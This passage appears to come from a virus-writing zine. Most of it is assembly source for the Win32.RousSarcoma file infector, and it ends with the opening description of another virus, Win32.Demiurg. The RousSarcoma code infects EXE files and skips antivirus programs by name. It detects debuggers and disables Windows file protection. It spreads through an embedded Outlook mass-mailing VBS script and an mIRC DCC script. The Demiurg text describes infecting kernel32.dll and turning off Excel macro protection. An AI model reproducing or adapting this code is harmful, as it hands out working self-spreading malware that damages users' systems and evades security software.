push eax ; Key Number we want to retrieve
push dword ptr [RegHandle]
call dword ptr [XRegEnumKeyA]
cmp eax, 0
jne DropVBSWorm

push offset RegHandle2


push 001F0000h ; complete access
push 0h ; reserved
push offset NameBuffer ; App Paths are stored here
push dword ptr [RegHandle] ; HKEY_LOCAL_MACHINE
call dword ptr [XRegOpenKeyExA]

; Read Vakze

mov dword ptr [RegData2], 255d

push offset RegData2


push offset NameBuffer
push offset RegData1
push 0
push offset PathValue
push dword ptr [RegHandle2]
call dword ptr [XRegQueryValueExA]

push dword ptr [RegHandle2]


call dword ptr [XRegCloseKey]

lea edi, NameBuffer ; Remove ; to get directory


mov al, ';'
mov ecx, 254d
repnz scasb
dec edi
mov byte ptr [edi], 0

push offset CurrentPath ; Get Current dir and save it


push 255d
call dword ptr [XGetCurrentDirectoryA]

push offset NameBuffer ; set new directory


call dword ptr [XSetCurrentDirectoryA]

call InfectCurDir ; Infect the directory

push offset CurrentPath ; restore old directory


call dword ptr [XSetCurrentDirectoryA]

CloseRegInfection:
push dword ptr [RegHandle]
call dword ptr [XRegCloseKey]

NoRegistryInfection:

call InfectCurDir ; Infect the current directory


jmp FirstGenHost

DropVBSWorm: ; Ok, we found no more directorys in the App Paths


; Registry Key, so we will drop a little VBS Script
; and execute it, so the virus will also spread with
; the help of outlook
push 0
push 080h ; normal attribs
push 2h ; create a new file (always)
push 0
push 0
push 0C0000000h ; read + write
lea eax, VBSWorm
push eax
Call dword ptr [XCreateFileA]
cmp eax, 0FFFFFFFFh
je CloseRegInfection

push eax ; save filehandle

push 0 ; write script to file


push offset Write
push offset EndVBSScript - offset VBSscript
push offset VBSscript
push Handle
call dword ptr [XWriteFile]
; Handle is still on the stack, so we close the file
call dword ptr [XCloseHandle]

xor eax, eax ; let's execute the wormy script


push offset ProcessInformation
push offset StartupInfo
push eax ; lpCurrentDirectory
push eax ; lpEnvironment
push eax ; Create_New_Process_Group & Normal_Priority_Class
push eax ; bInheritHandles
push eax ; lpThreadAttributes
push eax ; lpProcessAttributes
push offset VBSWorm ; filename with commandline
push eax ; command line
call dword ptr [XCreateProcessA]

jmp CloseRegInfection

VBSscript:
db 'On Error Resume Next', 13d, 10d
db 'Dim R', 13d, 10d
db 'Set RS=CreateObject("Outlook.Application")', 13d, 10d
db 'For R=1 To 500', 13d, 10d
db 'Set Mail=RS.CreateItem(0)', 13d, 10d
db 'Mail.to=RS.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)', 13d, 10d
db 'Mail.Subject="Funny Thing !"', 13d, 10d
db 'Mail.Body="Take a look at this and just start laughing !"', 13d, 10d
db 'Mail.Attachments.Add("C:\RousSarc.EXE")', 13d, 10d
db 'Mail.Send', 13d, 10d
db 'Next', 13d, 10d
db 'RS.Quit', 13d, 10d, 13d, 10d
EndVBSScript:

VBSWorm db 'C:\RousSarc.vbs',0

AppPaths db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths',0


PathValue db 'Path',0

RegData2 dd 4h ; Bytes to read in Buffer


RegBuffer dd 0h ; Buffer
Valuename db 'RousSarcoma',0
MyKey db 'RousSarcoma',0
RegHandle2 dd 0h

; ***************************************************************************
; --------------------------[ Infection current dir ]------------------------
; ***************************************************************************

; We got all we need


; let's party ;)
InfectCurDir: ; Infect up to 10 files in the current directory
; use FindFirstFile / Next to find files
; 10 files at max.
mov dword ptr [InfCounter], 10d

lea esi, filemask


call FindFirstFileProc
inc eax
jz EndInfectCurDir1 ; did we get all ?
dec eax

InfectCurDirFile:
; Filename in esi
lea esi, WFD_szFileName
call InfectFile ; Try it !
cmp dword ptr [InfCounter], 0h
jna EndInfectCurDir2

call FindNextFileProc

test eax, eax


jnz InfectCurDirFile

EndInfectCurDir2: ; close Search - Handle

push dword ptr [FindHandle]


call dword ptr [XFindClose]

EndInfectCurDir1:

ret

; ***************************************************************************
; -------------------------[ prepare Infection ]----------------------------
; ***************************************************************************

InfectFile: ; filename is in WFD_szFileName


; esi shows to this value

call AVNameCheck
cmp esi, 0h
je NoInfection

lea esi, WFD_szFileName

; ignore files smaller than 20000 Bytes


cmp dword ptr [WFD_nFileSizeLow], 20000d
jbe NoInfection
; ignore files bigger than 4,3 GB
cmp dword ptr [WFD_nFileSizeHigh], 0
jne NoInfection

call OpenFile ; Open File


jc NoInfection ; stop if there are problems
mov esi, eax

call CheckMZSign ; Check for DOS-Stub


jc Notagoodfile

cmp word ptr [eax+3Ch], 0h


je Notagoodfile

xor esi, esi ; get PE-Header


mov esi, [eax+3Ch]
; Check if file is corrupted
cmp dword ptr [WFD_nFileSizeLow], esi
jb Notagoodfile
add esi, eax
mov edi, esi
call CheckPESign ; Check for PE-Header
jc Notagoodfile
; Check Infection Mark
; --> A-AV ( Anti- Anti-Virus )

cmp dword ptr [esi+4Ch], 'VA-A'


jz Notagoodfile

mov bx, word ptr [esi+16h]; Get Characteristics


and bx, 0F000h ; select Dll-Flag
cmp bx, 02000h
je Notagoodfile ; we won't no DLL Files

mov bx, word ptr [esi+16h]; Check for DLL-Files


and bx, 00002h
cmp bx, 00002h
jne Notagoodfile

call InfectEXE ; Infect this sucker !


jc NoInfection

Notagoodfile:
call UnMapFile

NoInfection:
ret

; ***************************************************************************
; ------------------------------[ File-Handling ]----------------------------
; ***************************************************************************
; FileName needs to be in esi
OpenFile:
xor eax,eax ; Open Files
push eax
push eax
push 3h
push eax
inc eax
push eax
push 80000000h or 40000000h
push esi ; Filename is in ESI
call dword ptr [XCreateFileA]

inc eax
jz Closed
dec eax

mov dword ptr [FileHandle],eax


mov ecx, dword ptr [WFD_nFileSizeLow]

CreateMap:
push ecx
xor eax,eax
push eax
push ecx
push eax
push 00000004h
push eax
push dword ptr [FileHandle]
call dword ptr [XCreateFileMappingA]
mov dword ptr [MapHandle],eax

pop ecx ; Get Map-Site


test eax, eax
jz CloseFile ; Datei wieder...

xor eax,eax
push ecx
push eax
push eax
push 2h
push dword ptr [MapHandle]
call dword ptr [XMapViewOfFile]

or eax,eax
jz UnMapFile
; EAX contains starting offset of the map
mov dword ptr [MapAddress],eax
clc
ret

UnMapFile:
call UnMapFile2

CloseFile:
push dword ptr [FileHandle]
call [XCloseHandle]

Closed:
stc
ret

UnMapFile2:
push dword ptr [MapAddress]
call dword ptr [XUnmapViewOfFile]

push dword ptr [MapHandle]


call dword ptr [XCloseHandle]

ret

; ***************************************************************************
; ---------------------[ Infection of the EXE-File ]-------------------------
; ***************************************************************************

InfectEXE: ; MapAddress contains the start address of the file

mov ecx, [esi+3Ch] ; esi points to PE-Header


; ecx = Alignment Faktor
mov eax, dword ptr [WFD_nFileSizeLow]
add eax, VirusSize

call Align
mov dword ptr [NewSize], eax
xchg ecx, eax

pushad
call UnMapFile2 ; remap file
popad

call CreateMap
jc NoEXE
; esi = PE-Header
mov esi, dword ptr [eax+3Ch]

add esi, eax


mov edi, esi ; edi = esi
; eax = Sections
; get last section
movzx eax, word ptr [edi+06h]
dec eax
imul eax, eax, 28h
add esi, eax
add esi, 78h ; point to Directory Table

mov edx, [edi+74h] ; Get Directory Entrys


shl edx, 3h
add esi, edx
; get EIP
mov eax, [edi+28h]
mov dword ptr [OldEIP], eax

; get Imagebase
mov eax, [edi+34h]
mov dword ptr [OldBase], eax

mov edx, [esi+10h] ; get size of RAW-Data


mov ebx, edx
add edx, [esi+14h] ; edx = points to raw-data
push edx

mov eax, ebx


add eax, [esi+0Ch] ; EAX contains now Start of our file
; but we need to point it to the second part of the virus
add eax, ( offset SecondPart - ImageBase ) - Gap1
; the 0A00h are caused by the uninitialized data

mov [edi+28h], eax


mov dword ptr [NewEIP], eax

mov eax, [esi+10h] ; enlarge Raw-Data


push eax
add eax, VirusSize ; VirusSize = Size of entire file
mov ecx, [edi+3Ch] ; align it
call Align

mov [esi+10h], eax ; save in file

pop eax ; new Virtual-Size


add eax, VirusSize
mov [esi+08h], eax

pop edx

mov eax, [esi+10h]


add eax, [esi+0Ch] ; get new imagesize
mov [edi+50h], eax
; change the section flags
or dword ptr [esi+24h], 0A0000020h
; Write infection mark to file
; --> A-AV ( Anti- Anti-Virus )
mov dword ptr [edi+4Ch], 'VA-A'

xchg edi, edx


; save the start of the virus in file
mov dword ptr [StartofVirusinFile], edi
add edi, dword ptr [MapAddress]
push edi

call OpenMyself
; lets save the right Imagebase and EIP
; inside our buffered file ;)

; Save EIP & Imagebase


mov eax, dword ptr [OldEIP]
lea edi, FileBuffer
add edi, (offset retEIP - ImageBase) - Gap1
stosd

mov eax, dword ptr [OldBase]


lea edi, FileBuffer
add edi, (offset retBas - ImageBase) - Gap1
stosd

pop edi
lea esi, FileBuffer
mov ecx, VirusSize ; First Part
rep movsb ; append
; we need two steps, otherwise we would fill the

dec byte ptr [InfCounter]


clc
ret

NoEXE:
stc
ret

; ***************************************************************************
; -------------------------[ Open Us-Prozedur ]------------------------------
; ***************************************************************************
OpenMyself: ; this Procedure returns the start of
; the current file in esi
; first we need the filename
pushad
call dword ptr [XGetCommandLineA]
inc eax
mov dword ptr [CmdLine], eax

CommandReceive:
cmp dword ptr [eax],'EXE.'
je CommandOK
inc eax
jmp CommandReceive

CommandOK:
add eax, 4h
mov byte ptr [eax],0 ; CmdLine contains now a pointer
; to the filename of our file
mov esi, dword ptr [CmdLine]

xor eax,eax ; Open File


push eax
push eax
push 3h
push eax
inc eax
push eax
push 80000000h
push esi ; Filename is in ESI
call dword ptr [XCreateFileA]

mov ebx, eax ; save handle

push 0 ; load the file into the free memory


push offset Read ; number of bytes read..
push VirusSize ; read how many bytes ?
push offset FileBuffer
push eax
call dword ptr [XReadFile]

push ebx
call dword ptr [XCloseHandle]
popad
ret

Read dd ?

; ***************************************************************************
; -----------------------[ Check if we got an AV ]---------------------------
; ***************************************************************************
AVNameCheck: ; pointer to name is in esi
pushad ; save all registers

lea edi, NameBuffer ; we transfer the name to a buffer


xor ecx, ecx

NameCheckLoop:
cmp byte ptr [esi], 0 ; check if we are at the end
je NameTransferred
lodsb ; get first letter
cmp al, 96d
jb StoreLetter
sub al, 32d ; convert to uppercase

StoreLetter:
stosb
inc ecx
jmp NameCheckLoop

NameTransferred: ; nothing found .. :(


cmp ecx, 0
je EndNameCheck
mov dword ptr [NameLen], ecx

mov edx, 28d ; Number of AV-Names we check


lea esi, AVNames ; Pointer to the names
lea ebp, AVLenght
CheckLoop:
call NameCheck ; Procedure to check this name
jc WeGotAvName ; if Carriage Flag is set we got one
dec edx ; otherwise we search on, until edx = 0
jz EndNameCheck

xor eax, eax


mov al, byte ptr [ebp] ; increase esi
mov esi, dword ptr [NameESI2]
add esi, eax
inc ebp
jmp CheckLoop

EndNameCheck: ; We found nothing :)


popad
ret

WeGotAvName: ; We found a dirty AV :(


popad
xor esi, esi ; ESI = 0 as flag
ret

NameCheck: ; ECX contains the size of the search area


; ESI points to av name
; EDI points to filename
mov dword ptr [NameESI2], esi
mov ecx, dword ptr [NameLen]
lea edi, NameBuffer ; here we search for the Name
mov al, byte ptr [esi] ; get first byte into al..

mov dword ptr [NameESI], esi ; avname


mov dword ptr [NameEDI], edi ; filename

SearchOn:
mov esi, dword ptr [NameESI] ; avname
mov edi, dword ptr [NameEDI]

repnz scasb ; start search


cmp ecx,0
jz NoAV

mov dword ptr [NameESI], esi


dec edi
mov dword ptr [NameEDI], edi

Compare: ; compare the rest of the string


xor ecx, ecx
mov cl, byte ptr [ebp] ; points to stringlenght
Compare2:
repz cmpsb
jc Compare2
cmp ecx,0
jz Found

NoAV:
ret

Found: ; We got a dirty AV :P


stc ; set flag
ret

NameLen dd 0h ; Size of the filename


NameESI dd 0h ; Pointer to av name
NameEDI dd 0h ; Pointer to filename
NameESI2 dd 0h ; Pointer to av name

; Table with names of AV-File we don't start


AVNames:
db 'AVPM' ; AVP Names
db 'AVP32'
db 'AVPCC'
db 'AVPTC'
db '_AVPM'
db '_AVP32'
db '_AVPCC'
db 'AVPDOS'

db 'AVE32' ; Anti-Vir
db 'AVGCTRL'
db 'AVWIN95'

db 'SCAN32' ; DR-Solomon
db 'AVCONSOL'
db 'VSHWIN32'

db 'FP-WIN' ; F-Prot
db 'F-STOPW'

db 'DVP95' ; F-Secure
db 'F-AGNT95'
db 'F-PROT95'

db 'VET95' ; InnoculateIT
db 'VETTRAY'

db 'CLAW95' ; Norman Virus Control


db 'NVC95'

db 'NAVAPW32' ; Norton
db 'NAVW32'

db 'SWEEP95' ; Sophos

db 'IOMON98' ; PC-Cillin
db 'PCCWIN98'

db 'MONITOR' ; RAV
db 'RAW7WIN'

AVLenght:
db 4d, 5d, 5d, 5d, 5d, 6d, 6d, 6d ; AVP
db 5d, 7d, 7d ; ANTI-Vir
db 6d, 8d, 8d ; DR-Solomon
db 6d, 7d ; F-PROT
db 5d, 8d, 8d ; F-Secure
db 5d, 7d ; Innoculate-IT
db 6d, 5d ; Norman
db 8d, 6d ; Norton
db 7d ; Sophos
db 7d, 8d ; PC-Cillin
db 7d, 7d ; RAV

; ***************************************************************************
; --------------------------[ Align-Prozedur ]-------------------------------
; ***************************************************************************
; eax - Size
; ecx - base
Align:
push edx
xor edx, edx
push eax
div ecx
pop eax
sub ecx, edx
add eax, ecx
pop edx ; eax - New Size
ret
; ***************************************************************************
; --------------------------[ FindFile Prozeduren ]--------------------------
; ***************************************************************************

; Search for files


FindFirstFileProc:
call ClearFindData
lea eax, WIN32_FIND_DATA
push eax
push esi
call dword ptr [XFindFirstFileA]
mov dword ptr [FindHandle], eax
ret

FindNextFileProc:
call ClearFindData
lea eax, WIN32_FIND_DATA
push eax
mov eax, dword ptr [FindHandle]
push eax
call dword ptr [XFindNextFileA]
ret

ClearFindData:
lea edi, WFD_szFileName
mov ecx, 276d ; clear old data
xor eax, eax
rep stosb
ret

;****************************************************************************
;-----------------------------[ PE / MZ Check ]------------------------------
;****************************************************************************
; Check MZ and PE - Signs
CheckPESign:
cmp dword ptr [edi], 'FP' ; greater or equal to "PF"
jae NoPESign

cmp dword ptr [edi], 'DP' ; lower or equal to "PD"


jbe NoPESign

clc ; all left is "PE"


ret

NoPESign:
stc
ret

CheckMZSign:

cmp word ptr [esi], '[M'


jae NoPESign

cmp word ptr [esi], 'YM'


jbe NoPESign

clc
ret
ret

; ***************************************************************************
; ----------------[ This is the host for the EXE-Virus Part ]----------------
; ***************************************************************************

FirstGenHost:
push 0h ; stop this !
call ExitProcess
jmp FirstGenHost

;
; \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
; ////////////////////////////////////////////////////////////////////////////\
; ###########################################################################/\
; ------------------[ This is the second part of the Virus ]-----------------/\
; ###########################################################################/\
; ////////////////////////////////////////////////////////////////////////////\
; \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
;

SecondPart:
; Here do we drop the entire file from the
; infected goat and execute it

; ***************************************************************************
; -------------------------[ Search for Kernel ]-----------------------------
; ***************************************************************************

call Delta

Delta:
pop ebp
sub ebp, offset Delta

mov esi, [esp] ; get Create Process API


xor si, si

call GetKernel ; Search for kernel


jnc GetApis ; If we got it we carry on..
jmp ExecuteHost

; ***************************************************************************
; --------------------[ Search-Kernel Procedure ]----------------------------
; ***************************************************************************

GetKernel:
mov byte ptr [ebp+K32Trys], 5h

GK1:
cmp byte ptr [ebp+K32Trys], 00h
jz NoKernel ; did we pass the limit ?

call CheckMZSign ; Check for exe-stub


jnc CheckPE

GK2:
sub esi, 10000h ; search next page
dec byte ptr [ebp+K32Trys]
jmp GK1 ; test again
CheckPE: ; test for PE-Header
mov edi, [esi+3Ch]
add edi, esi
call CheckPESign

jnc CheckDLL ; check dll-sign


jmp GK2

CheckDLL:
add edi, 16h
mov bx, word ptr [edi] ; get characteristics
and bx, 0F000h ; to check for dll flag
cmp bx, 02000h
jne GK2

KernelFound: ; We got it !
sub edi, 16h ; edi = PE-Header
xchg eax, edi ; eax = PE offset
xchg ebx, esi ; ebx = MZ offset
clc ; clear carriage flag
ret

NoKernel:
stc ; set carriage flag if we did not found it
ret

K32Trys db 5h ; search range

; ***************************************************************************
; ---------------------------[ Search for API's ]----------------------------
; ***************************************************************************

; we search for LoadLibaryA and GetProcAddress


; in the kernel to get the other API's

LL db 'LoadLibraryA', 0h
GPA db 'GetProcAddress', 0h

GetApis: ; offset of Kernel32.dll PE-headers in eax

mov [ebp+KernelAddy], eax ; save


mov [ebp+MZAddy], ebx

lea edx, [ebp+LL] ; Point to LoadLibaryA - API


mov ecx, 0Ch ; size of name
call SearchAPI1 ; search it
mov [ebp+XLoadLibraryA], eax
; save offset

xchg eax, ecx ; if we did not get it, we can't go on


jecxz ExecuteHost

lea edx, [ebp+GPA] ; Name of GetProcAddress - API


mov ecx, 0Eh ; size
call SearchAPI1
mov [ebp+XGetProcAddress], eax

xchg eax, ecx ; check if we got it


jecxz ExecuteHost

GetAPI2: ; locate all other apis now


lea eax, [ebp+KERNEL32]
push eax
call dword ptr [ebp+XLoadLibraryA]
mov [ebp+K32Handle], eax
test eax, eax
jz ExecuteHost

lea esi, [ebp+Kernel32Names2]


lea edi, [ebp+YCreateFileA]
mov ebx, [ebp+K32Handle]
push NumberOf2Kernel32APIS
pop ecx
call GetAPI3
jmp DropIT ; let's do something serious ;)

; ***************************************************************************
; --------[ Search the kernel export table for the 2 main API's ]------------
; ***************************************************************************

SearchAPI1:
and word ptr [ebp+counter], 0h

mov eax, [ebp+KernelAddy] ; get PE-Header offset

mov esi, [eax+78h] ; get Export Table Address


add esi, [ebp+MZAddy]
add esi, 1Ch

lodsd ; get address table


add eax, [ebp+MZAddy]
mov dword ptr [ebp+ATableVA], eax

lodsd ; get pointer table


add eax, [ebp+MZAddy]
mov dword ptr [ebp+NTableVA], eax

lodsd ; Ordinal Table


add eax, [ebp+MZAddy]
mov dword ptr [ebp+OTableVA], eax

mov esi, [ebp+NTableVA] ; get Name Pointer Table

SearchNextApi1:
push esi
lodsd
add eax, [ebp+MZAddy]

mov esi, eax


mov edi, edx
push ecx

cld
rep cmpsb ; check for api name
pop ecx
jz FoundApi1

pop esi ; get next API-Name


add esi, 4h
inc word ptr [ebp+counter]
cmp word ptr [ebp+counter], 2000h
je NotFoundApi1 ; if we checked more than 2000 API's we stop
jmp SearchNextApi1 ; check next

FoundApi1:
pop esi
movzx eax, word ptr [ebp+counter]
shl eax, 1h ; get right entry

add eax, dword ptr [ebp+OTableVA]


xor esi, esi ; clear esi --> eax
xchg eax, esi
lodsw
shl eax, 2h
add eax, dword ptr [ebp+ATableVA]
mov esi, eax ; get RVA
lodsd ; eax = Adress RVA
add eax, [ebp+MZAddy]

ret ; API offset in eax

NotFoundApi1:
xor eax, eax ; we failed :(
ret

; ***************************************************************************
; ----------------------[ Let's drop the virus to a file ]-------------------
; ***************************************************************************
DropIT:

push 0
push 080h ; normal
push 1 ; new file
push 0
push 0
push 40000000h ; write access
lea eax, [ebp+HiddenFile]
push eax
call dword ptr [ebp+YCreateFileA]

xchg eax, ebx ; Handle in ebx

mov esi, ebp


add esi, ImageBase + Gap1 ; uninitialised data once again ;)

push 0 ; overlapped
lea ecx, [ebp+Write] ; written bytes
push ecx
push VirusSize ; Lenght
push esi ; Start of Data
push ebx ; File Handle
Call dword ptr [ebp+YWriteFile]

push ebx
call dword ptr [ebp+YCloseHandle]

xor eax, eax ; let's execute the virus


lea esi, [ebp+ProcessInformation]
push esi
lea esi, [ebp+StartupInfo]
push esi
push eax ; lpCurrentDirectory
push eax ; lpEnvironment
push eax ; Create_New_Process_Group & Normal_Priority_Class
push eax ; bInheritHandles
push eax ; lpThreadAttributes
push eax ; lpProcessAttributes
lea esi, [ebp+HiddenFile]
push esi ; filename with commandline
push eax ; command line
call dword ptr [XCreateProcessA]

; ***************************************************************************
; -----------------------[ open original program ]---------------------------
; ***************************************************************************

ExecuteHost:

mov eax,12345678h ; get back to old Imagebase+EIP


org $-4
retEIP dd 0h

add eax,12345678h
org $-4
retBas dd 0h

jmp eax

OldEIP dd 0h
OldBase dd 0h

NewEIP dd 0h

; ***************************************************************************
; --------------[ use GetProcAddress to retrieve API's ]---------------------
; ***************************************************************************
; this procedure is used in both parts of the virus !
; esi point to the names
; edi to the place where we save the offsets
; ebx contains module handle
; ecx got the number of api's
GetAPI3:
push ecx ; save number

push esi ; push Api-name


push ebx ; push Module-Handle
; call GetProcAddress
cmp ebp, 'VA-A' ; if we are in the exe-part, we can call
je API3b ; the api directly

pushad ; check for int 1h tracing


push eax ; int 1h tracing destroys the stack, so we will see
pop eax ; if it is destroyed
sub esp, 4d
pop ecx
cmp eax, ecx
jne EndApi3
popad

API3a: ; otherwise we need the one found in the kernel


call dword ptr [ebp+XGetProcAddress]
jmp API3c

API3b:
call GetProcAddress
API3c:
stosd ; save offset

pushad
cmp eax, 0 ; Lets do a check for Softice Breakpoints
je NoSICheck
cmp byte ptr [eax], 0CCh ; check for the breakpoint
je EndApi3 ; due to the pushad, we will ret somewhere strange ;)
NoSICheck:
popad

pop ecx
dec ecx
jz EndApi3

push ecx ; point to next name

SearchZero:
cmp byte ptr [esi], 0h
je GotZero
inc esi
jmp SearchZero

GotZero:
inc esi
pop ecx
jmp GetAPI3 ; get next api

EndApi3:
ret

; ###########################################################################
; ----------------------[ Third Part - The Data ]----------------------------
; ###########################################################################

; ***************************************************************************
; ---------------------[ Data of the second part ]---------------------------
; ***************************************************************************

NumberOf2Kernel32APIS equ 4

Kernel32Names2:
db 'CreateFileA', 0
db 'CloseHandle', 0
db 'WriteFile',0
db 'CreateProcessA',0

HiddenFile db 'C:\RousSarc.EXE',0 ; Rous Sarkoma is a well known Retro Virus


KERNEL32 db 'kernel32.dll',0 ; kernel32.dll .. :)

; ***************************************************************************
; ---------------------------[ Some Data ]-----------------------------------
; ***************************************************************************
VirusEnd:

K32Handle dd (?) ; Hier speichern wir das Handle der Kernel32.dll

XLoadLibraryA dd (?) ; Hier die Offsets der ersten beiden API's


XGetProcAddress dd (?)

; API's we need for the second part


YCreateFileA dd (?)
YCloseHandle dd (?)
YWriteFile dd (?)
YCreateProcessA dd (?)

StartofVirusinFile dd 0h
Write dd 0h

; Daten für die Kernel-Suche


KernelAddy dd (?) ; PE-Header
MZAddy dd (?) ; MZ-Header
counter dw (?) ; Wie viele Namen haben wir getestet

ATableVA dd (?) ; Address Table VA


NTableVA dd (?) ; Name Pointer Table VA
OTableVA dd (?) ; Name Pointer Table VA

; ***************************************************************************
; --------------------[ Initialized First Part Data ]------------------------
; ***************************************************************************

.DATA
CopyRight db 'Win32.RousSarcoma by SnakeByte',0

_2kProt db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0


_2kProtValue db 'SfcDisable',0
RunOnceName db '\RousSarc.EXE',0
RunOnceKey db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',0

filemask db '*.EXE', 0 ; get exe-files

; Data for mIRC Worming


MIRCscript db '[script]',13d,10d
db 'n0=on 1:join:#: { if ( $nick == $me ) halt', 13d,10d
db 'n1= else .timer 1 30 .dcc send $nick C:\RousSarc.EXE }', 13d,10d
db 'n2=on *:filesent:*.*: { if ( $nick != $me ) .dcc send $nick C:\RousSarc.EXE
}', 13d,10d
EndScript:
mircINI db 'mirc.ini',0
MIRCrfiles db 'rfiles',0 ;what to patch
MOffset db 'n2',0
MIRCprot db 'RousSarc.ini',0

; Names of the API's we need


Kernel32Names:
NumberOfKernel32APIS equ 21d

db 'FindFirstFileA', 0
db 'FindNextFileA', 0
db 'FindClose', 0
db 'CreateFileA', 0
db 'CloseHandle', 0
db 'CreateFileMappingA', 0
db 'MapViewOfFile', 0
db 'UnmapViewOfFile', 0
db 'GetCommandLineA',0
db 'ReadFile',0
db 'CreateProcessA',0
db 'GetSystemDirectoryA',0
db 'CopyFileA',0
db 'GetCurrentProcessId',0
db 'RegisterServiceProcess',0
db 'GetCurrentDirectoryA',0
db 'SetCurrentDirectoryA',0
db 'GetWindowsDirectoryA',0
db 'GetFullPathNameA',0
db 'WritePrivateProfileStringA',0
db 'WriteFile',0

advname db 'advapi32',0

AdvapiNames:
NumberOfAdvapiAPIS equ 6

db 'RegOpenKeyExA',0
db 'RegQueryValueExA',0
db 'RegCloseKey',0
db 'RegSetValueExA',0
db 'RegCreateKeyExA',0
db 'RegEnumKeyA',0

StartupInfo:
db 64d
db 63d dup (0)

ProcessInformation:
hProcess dd 0h
hThread dd 0h
dwProcessId dd 0h
dwThreadId dd 0h

; ***************************************************************************
; -------------------[ Uninitialized First Part Data ]-----------------------
; ***************************************************************************
.DATA?
; API's we need for first Part
XFindFirstFileA dd ?
XFindNextFileA dd ?
XFindClose dd ?
XCreateFileA dd ?
XCloseHandle dd ?
XCreateFileMappingA dd ?
XMapViewOfFile dd ?
XUnmapViewOfFile dd ?
XGetCommandLineA dd ?
XReadFile dd ?
XCreateProcessA dd ?
XGetSystemDirectoryA dd ?
XCopyFileA dd ?
XGetCurrentProcessId dd ?
XRegisterServiceProcess dd ?
XGetCurrentDirectoryA dd ?
XSetCurrentDirectoryA dd ?
XGetWindowsDirectoryA dd ?
XGetFullPathNameA dd ?
XWritePrivateProfileStringA dd ?
XWriteFile dd ?

; API's we need to edit the Registry


XRegOpenKeyExA dd ?
XRegQueryValueExA dd ?
XRegCloseKey dd ?
XRegSetValueExA dd ?
XRegCreateKeyExA dd ?
XRegEnumKeyA dd ?

ADVHandle dd ? ; Handle of ADVAPI32.dll


NewSize dd ? ; New Filesize
CmdLine dd ? ; Commandline

; Struktur for FindFirstFile / Next


FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS

; data for FindFirstFile / Next API


WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db 260d dup (?)
WFD_szAlternateFileName db 13 dup (?)
WFD_szAlternateEnding db 03 dup (?)

FileHandle dd ? ; Filehandle
MapHandle dd ? ; Handle of the Map
MapAddress dd ? ; Offset of the Map
Handle dd ?

Dispostiton dd ? ; dispostition when creating a reg key


RegHandle dd ? ; handle of an opened registry key
RegData1 dd ? ; Bytes read

InfCounter db ? ; Counter
FindHandle dd ? ; Handle for FindFirstFile API
FileBuffer db VirusSize dup (?)
; We temporarily save the name of a possible AV
; to check if it is one
NameBuffer db 255d dup (?)
CurrentPath db 255d dup (?)

; ***************************************************************************
; ------------------------[ That's all, go home ]----------------------------
; ***************************************************************************
end Virus
Note of the editor:

Being my intention post the source code of this virus here, due to his
complexity that's not possible. You will find source code in "Binaries"
folder.

VirusBuster/29A
; *************************************************************************
; ******************** ********************
; ******************** Win32.Demiurg ********************
; ******************** by ********************
; ******************** Black Jack ********************
; ******************** ********************
; *************************************************************************

comment ~

NAME: Win32.Demiurg
AUTHOR: Black Jack [independant Austrian Win32asm virus coder]
CONTACT: Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack
TYPE: Win32 global resident (in kernel32.dll) PE/NE/MZ/COM/BAT/XLS infector
SIZE: 16354 bytes

DESCRIPTION:
The main instance of the virus is in infected PE EXE files (or the PE
dropper). If such a file is executed, the first thing the virus does is
getting the needed API addresses by standart methods (first it scans the
hosts import table for the GetModuleHandleA API and uses it to get the
KERNEL32 handle if found, if not, it gets it by the "scan down from the
value from the top of stack"-trick, then the export table of KERNEL32 is
scanned for all needed APIs, finally also ADVAPI32.dll is loaded and some
APIs for registry operations fetched from there). Then the virus performs
two tasks before returning to the host: first infected KERNEL32.dll, then
infected MS-Excel.

To infect KERNEL32.dll, it is copied from the system directory to the windows


directory and infected there. The infection process is the same as with
regular PE EXE files (see later), but not the main entry point is modified,
but some file modification APIs are hooked (to maintain compatiblity to WinNT
in both their ANSI and unicode versions). To replace the old KERNEL32.dll
with the infected copy, the virus uses the MoveFileExA API with the
MOVEFILE_DELAY_UNTIL_REBOOT flag; this will only work in WinNT, but this
doesn't matter, because Win9x will use the copy in the windows directory
rather than the one in the system directory after the next reboot anyways.

To infect Excel, the virus checks the registry if a supported version (97 or
2000) is installed; if so, it turns the macro virus protection off and gets
the path where it is installed. Then it drops a .xls file with a little macro
as \xlstart\demiurg.xls; this file will be loaded automatically at the next
start of excel, and the macro executed. Besides that, another macro source
code is generated as C:\demiurg.sys file, that contains VBA instructions to
write the virus PE dropper to C:\demiurg.exe and execute it. Please note that
this macro uses 100% VBA instructions (the binary data is stored in Arrays),
no stupid debug scripts. This file will be used to infect regular .xls files
with. This means that the VBA instance of the virus is not a "full" macro
virus, because it is not able to replicate from one .xls file to another
directly.

After the KERNEL32.dll infection, the virus will stay resident after the next
reboot. It then catches most file API functions and infects COM, EXE (MZ, NE,
PE) and BAT files as they are accessed.

The PE EXE infection process is quite standart: The last section is increased,
and the virus body is appended after the virtual end of the section. In my
opinion this is much more logical than appending after the physical end, how
it is done in most Win32 virii nowadays, because otherwise the virus body can
be overwritten by host data (if the last section is the .bss section, for
example). Besides that the virtual size is not aligned (although some
compilers/assemblers like TASM align it to SectionAlign, this is not
necessary), while the physical size is always aligned to FileAlign; this
means we can save some space in some cases. Then the entry point is set to
the virus body (in case of PE EXE files) and finally also the imagesize and
the checksum (in case it was different to zero before infection) are updated
to maintain compatiblity to WinNT; to recalculate the CRC the
CheckSumMappedFile API from IMAGEHLP.dll is used.

All other infectable files are only infected "indirectly": A small piece of
code is added that drops a PE dropper and infects it. Because of that the
virus can only replicate in Win32 enviroments, although it infects a lot of
different filetypes.

